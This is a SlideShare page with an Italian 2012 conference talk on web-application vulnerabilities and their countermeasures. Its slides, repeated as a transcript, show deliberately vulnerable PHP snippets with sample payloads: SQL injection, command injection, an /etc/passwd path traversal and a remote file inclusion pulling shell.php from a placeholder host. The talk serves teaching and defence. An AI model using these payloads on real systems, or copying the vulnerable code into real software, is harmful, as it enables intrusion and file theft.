SlideShare a Scribd company logo
1 of 26
Download to read offline
Odio le mie webapp.
  Ma soprattutto chi le ha scritte!




Roma, Ottobre 2012
                       Alessio L.R. Pennasilico
                          mayhem@alba.st
Alessio L.R. Pennasilico

                Security Evangelist @


                                             Committed:
                           AIP Associazione Informatici Professionisti, CLUSIT
         AIPSI Associazione Italiana Professionisti Sicurezza Informatica
                             Italian Linux Society, Sikurezza.org, AIP/OPSI
                                   Hacker’s Profiling Project, CrISTAL
   !


Alessio L.R. Pennasilico                                                         2
http://www.alba.st/




                      Le applicazoni web
Web è bello!


        Lavoro ovunque, comunque, a qualsiasi ora, con
       qualsiasi device, accedendo a tutte le informazioni
                          che mi servono.




Alessio L.R. Pennasilico                                 4
Dove stava scritto sicurezza? :(




Alessio L.R. Pennasilico                                      5
Cosa si trova in giro
http://www.alba.st/
XSS

       Affligge siti web con scarso controllo di variabili
       derivate da input dell'utente. Permette di inserire
       codice a livello browser al fine di modificare il
       codice sorgente della pagina web visitata. In
       questo modo un cracker può tentare di
       recuperare dati sensibili quali cookies.


Alessio L.R. Pennasilico                                 7
SQL Injection



                      Sfrutta la non normalizzazione dell’input
                                    a‘ OR ‘1’=’1




Alessio L.R. Pennasilico                                          8
Funzioni

                           exec() - system() - eval()

       <?php
       system("echo	
  ".$_REQUEST['parametro']);
       ?>

       Se la usassi così?
       http://host/index.php?parametro=;touch	
  /tmp/hacked


Alessio L.R. Pennasilico                                   9
Local File Inclusion

       <?php
       include('/var/www/articoli/'	
  .	
  $_REQUEST['articolo']);
       ?>

       L'utilizzo normale sarebbe:
       http://host/index.php?articolo=sport.html

       ma posso usarlo così:
       http://host/index.php?articolo=../../../etc/passwd



Alessio L.R. Pennasilico                                              10
Remote File Inclusion

       <?php
       	
  include($_GET['page']);
       ?>



       Se la usassi così?
       http://host/index.php?page=http://xxx/shell.php



Alessio L.R. Pennasilico                             11
Esempi reali


                              IIS Webservice


                           user e pass hardcoded



Alessio L.R. Pennasilico                            12
Esempi reali


                                         e-commerce
                                           javascript
                           dati letti dal server ed inviati dal client
                                         prezzi inclusi



Alessio L.R. Pennasilico                                                 13
Esempi reali



                           Quanto sono comodi i tab?




Alessio L.R. Pennasilico                               14
http://www.alba.st/




                      Le contromisure
Filtrare a monte


                           UTM Firewall
                             IDS / IPS
                               DLP



Alessio L.R. Pennasilico                     16
Software layer



                           Reverse Proxy
                              mod_*




Alessio L.R. Pennasilico                      17
Configurare bene il sistema


                                    chroot
                                 privilege drop
                                   permessi
                                    mod_*



Alessio L.R. Pennasilico                            18
Scrivere bene le app


                             input validation


                           controlli server side



Alessio L.R. Pennasilico                           19
Standard e check


                           OWASP - Code review
                            OSSTMM - PenTest


                              Repetita iuvant



Alessio L.R. Pennasilico                         20
Mitigare...


                   Eliminare le classiche cause di vulnerabilità


                                 es: le password!



Alessio L.R. Pennasilico                                           21
Spiegare



                           Molti attacchi si possono evitare
                                con la user awarness




Alessio L.R. Pennasilico                                       22
Risolvere il problema
http://www.alba.st/
Conclusioni



                           Senza scrivere buon codice
                           tutto il resto è un palliativo!




Alessio L.R. Pennasilico                                     24
Conclusioni



                           Preoccupatevi delle persone,
                               più della tecnologia!




Alessio L.R. Pennasilico                                  25
Grazie
                     dell’attenzione!          These slides are
                                               written by Alessio L.R.
                                               Pennasilico aka
                                               mayhem. They are
                                               subjected to Creative
                                               Commons Attribution-
                                               ShareAlike-2.5
                                               version; you can copy,
                                               modify, or sell them.
                                               “Please” cite your
                                               source and use the
                                               same licence :)




Roma, Ottobre 2012
                                 Alessio L.R. Pennasilico
                                    mayhem@alba.st

More Related Content

More from Alessio Pennasilico

Sistemi SCADA e profili criminali
Sistemi SCADA e profili criminaliSistemi SCADA e profili criminali
Sistemi SCADA e profili criminaliAlessio Pennasilico
 
Come il Cloud Computing può salvare l'analogico
Come il Cloud Computing può salvare l'analogicoCome il Cloud Computing può salvare l'analogico
Come il Cloud Computing può salvare l'analogicoAlessio Pennasilico
 
ICT Security 2010: Le minacce delle nuove tecnologie
ICT Security 2010: Le minacce delle nuove tecnologieICT Security 2010: Le minacce delle nuove tecnologie
ICT Security 2010: Le minacce delle nuove tecnologieAlessio Pennasilico
 
Linux Day 2010: Virtualizzare con OpenVZ
Linux Day 2010: Virtualizzare con OpenVZLinux Day 2010: Virtualizzare con OpenVZ
Linux Day 2010: Virtualizzare con OpenVZAlessio Pennasilico
 
Linux Day 2010: Mi hanno installato Linux... ed ora?
Linux Day 2010: Mi hanno installato Linux... ed ora?Linux Day 2010: Mi hanno installato Linux... ed ora?
Linux Day 2010: Mi hanno installato Linux... ed ora?Alessio Pennasilico
 
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster Recovery
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster RecoverySmau 2010 Milano: Seminario AIPSI Business Continuity e Disaster Recovery
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster RecoveryAlessio Pennasilico
 
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIP
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIPSmau 2010 Milano: Seminario AIPSI Sicurezza del VoIP
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIPAlessio Pennasilico
 
Smau 2010 Milano: Seminario Clusit per Intel sulla security
Smau 2010 Milano: Seminario Clusit per Intel sulla securitySmau 2010 Milano: Seminario Clusit per Intel sulla security
Smau 2010 Milano: Seminario Clusit per Intel sulla securityAlessio Pennasilico
 
Linux Day 2010: Linux Security Demystified
Linux Day 2010: Linux Security DemystifiedLinux Day 2010: Linux Security Demystified
Linux Day 2010: Linux Security DemystifiedAlessio Pennasilico
 
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione Sicura
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione SicuraSmau 2010 MIlano: Seminario AIPSI Virtualizzazione Sicura
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione SicuraAlessio Pennasilico
 
e-mail Power: 2010: servono ancora le
e-mail Power: 2010: servono ancora le e-mail Power: 2010: servono ancora le
e-mail Power: 2010: servono ancora le Alessio Pennasilico
 
Porte aperte alla tecnologia: Creare una strategia di Disaster Recovery
Porte aperte alla tecnologia: Creare una strategia di Disaster RecoveryPorte aperte alla tecnologia: Creare una strategia di Disaster Recovery
Porte aperte alla tecnologia: Creare una strategia di Disaster RecoveryAlessio Pennasilico
 
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazione
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazioneSeminario Clusit Security Summit 2010: Minacce per la virtualizzazione
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazioneAlessio Pennasilico
 
Next Hope New York 2010: Bakeca.it DDoS case history
Next Hope New York 2010: Bakeca.it DDoS case historyNext Hope New York 2010: Bakeca.it DDoS case history
Next Hope New York 2010: Bakeca.it DDoS case historyAlessio Pennasilico
 

More from Alessio Pennasilico (19)

Rischi o vulnerabilità?
Rischi o vulnerabilità?Rischi o vulnerabilità?
Rischi o vulnerabilità?
 
Sistemi SCADA e profili criminali
Sistemi SCADA e profili criminaliSistemi SCADA e profili criminali
Sistemi SCADA e profili criminali
 
Come il Cloud Computing può salvare l'analogico
Come il Cloud Computing può salvare l'analogicoCome il Cloud Computing può salvare l'analogico
Come il Cloud Computing può salvare l'analogico
 
ICT Security 2010: Le minacce delle nuove tecnologie
ICT Security 2010: Le minacce delle nuove tecnologieICT Security 2010: Le minacce delle nuove tecnologie
ICT Security 2010: Le minacce delle nuove tecnologie
 
Linux Day 2010: Virtualizzare con OpenVZ
Linux Day 2010: Virtualizzare con OpenVZLinux Day 2010: Virtualizzare con OpenVZ
Linux Day 2010: Virtualizzare con OpenVZ
 
Linux Day 2010: Mi hanno installato Linux... ed ora?
Linux Day 2010: Mi hanno installato Linux... ed ora?Linux Day 2010: Mi hanno installato Linux... ed ora?
Linux Day 2010: Mi hanno installato Linux... ed ora?
 
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster Recovery
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster RecoverySmau 2010 Milano: Seminario AIPSI Business Continuity e Disaster Recovery
Smau 2010 Milano: Seminario AIPSI Business Continuity e Disaster Recovery
 
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIP
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIPSmau 2010 Milano: Seminario AIPSI Sicurezza del VoIP
Smau 2010 Milano: Seminario AIPSI Sicurezza del VoIP
 
Smau 2010 Milano: Seminario Clusit per Intel sulla security
Smau 2010 Milano: Seminario Clusit per Intel sulla securitySmau 2010 Milano: Seminario Clusit per Intel sulla security
Smau 2010 Milano: Seminario Clusit per Intel sulla security
 
Linux Day 2010: Linux Security Demystified
Linux Day 2010: Linux Security DemystifiedLinux Day 2010: Linux Security Demystified
Linux Day 2010: Linux Security Demystified
 
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione Sicura
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione SicuraSmau 2010 MIlano: Seminario AIPSI Virtualizzazione Sicura
Smau 2010 MIlano: Seminario AIPSI Virtualizzazione Sicura
 
e-mail Power: 2010: servono ancora le
e-mail Power: 2010: servono ancora le e-mail Power: 2010: servono ancora le
e-mail Power: 2010: servono ancora le
 
OpenOffice
OpenOfficeOpenOffice
OpenOffice
 
Vpn Mobility VoIP
Vpn Mobility VoIPVpn Mobility VoIP
Vpn Mobility VoIP
 
Porte aperte alla tecnologia: Creare una strategia di Disaster Recovery
Porte aperte alla tecnologia: Creare una strategia di Disaster RecoveryPorte aperte alla tecnologia: Creare una strategia di Disaster Recovery
Porte aperte alla tecnologia: Creare una strategia di Disaster Recovery
 
Paranoia is a virtue
Paranoia is a virtueParanoia is a virtue
Paranoia is a virtue
 
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazione
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazioneSeminario Clusit Security Summit 2010: Minacce per la virtualizzazione
Seminario Clusit Security Summit 2010: Minacce per la virtualizzazione
 
Internet (in)sicuro
Internet (in)sicuroInternet (in)sicuro
Internet (in)sicuro
 
Next Hope New York 2010: Bakeca.it DDoS case history
Next Hope New York 2010: Bakeca.it DDoS case historyNext Hope New York 2010: Bakeca.it DDoS case history
Next Hope New York 2010: Bakeca.it DDoS case history
 

Odio le mie applicazioni web e chi le ha scritte

  • 1. Odio le mie webapp. Ma soprattutto chi le ha scritte! Roma, Ottobre 2012 Alessio L.R. Pennasilico mayhem@alba.st
  • 2. Alessio L.R. Pennasilico Security Evangelist @ Committed: AIP Associazione Informatici Professionisti, CLUSIT AIPSI Associazione Italiana Professionisti Sicurezza Informatica Italian Linux Society, Sikurezza.org, AIP/OPSI Hacker’s Profiling Project, CrISTAL ! Alessio L.R. Pennasilico 2
  • 3. http://www.alba.st/ Le applicazoni web
  • 4. Web è bello! Lavoro ovunque, comunque, a qualsiasi ora, con qualsiasi device, accedendo a tutte le informazioni che mi servono. Alessio L.R. Pennasilico 4
  • 5. Dove stava scritto sicurezza? :( Alessio L.R. Pennasilico 5
  • 6. Cosa si trova in giro http://www.alba.st/
  • 7. XSS Affligge siti web con scarso controllo di variabili derivate da input dell'utente. Permette di inserire codice a livello browser al fine di modificare il codice sorgente della pagina web visitata. In questo modo un cracker può tentare di recuperare dati sensibili quali cookies. Alessio L.R. Pennasilico 7
  • 8. SQL Injection Sfrutta la non normalizzazione dell’input a‘ OR ‘1’=’1 Alessio L.R. Pennasilico 8
  • 9. Funzioni exec() - system() - eval() <?php system("echo  ".$_REQUEST['parametro']); ?> Se la usassi così? http://host/index.php?parametro=;touch  /tmp/hacked Alessio L.R. Pennasilico 9
  • 10. Local File Inclusion <?php include('/var/www/articoli/'  .  $_REQUEST['articolo']); ?> L'utilizzo normale sarebbe: http://host/index.php?articolo=sport.html ma posso usarlo così: http://host/index.php?articolo=../../../etc/passwd Alessio L.R. Pennasilico 10
  • 11. Remote File Inclusion <?php  include($_GET['page']); ?> Se la usassi così? http://host/index.php?page=http://xxx/shell.php Alessio L.R. Pennasilico 11
  • 12. Esempi reali IIS Webservice user e pass hardcoded Alessio L.R. Pennasilico 12
  • 13. Esempi reali e-commerce javascript dati letti dal server ed inviati dal client prezzi inclusi Alessio L.R. Pennasilico 13
  • 14. Esempi reali Quanto sono comodi i tab? Alessio L.R. Pennasilico 14
  • 15. http://www.alba.st/ Le contromisure
  • 16. Filtrare a monte UTM Firewall IDS / IPS DLP Alessio L.R. Pennasilico 16
  • 17. Software layer Reverse Proxy mod_* Alessio L.R. Pennasilico 17
  • 18. Configurare bene il sistema chroot privilege drop permessi mod_* Alessio L.R. Pennasilico 18
  • 19. Scrivere bene le app input validation controlli server side Alessio L.R. Pennasilico 19
  • 20. Standard e check OWASP - Code review OSSTMM - PenTest Repetita iuvant Alessio L.R. Pennasilico 20
  • 21. Mitigare... Eliminare le classiche cause di vulnerabilità es: le password! Alessio L.R. Pennasilico 21
  • 22. Spiegare Molti attacchi si possono evitare con la user awarness Alessio L.R. Pennasilico 22
  • 24. Conclusioni Senza scrivere buon codice tutto il resto è un palliativo! Alessio L.R. Pennasilico 24
  • 25. Conclusioni Preoccupatevi delle persone, più della tecnologia! Alessio L.R. Pennasilico 25
  • 26. Grazie dell’attenzione! These slides are written by Alessio L.R. Pennasilico aka mayhem. They are subjected to Creative Commons Attribution- ShareAlike-2.5 version; you can copy, modify, or sell them. “Please” cite your source and use the same licence :) Roma, Ottobre 2012 Alessio L.R. Pennasilico mayhem@alba.st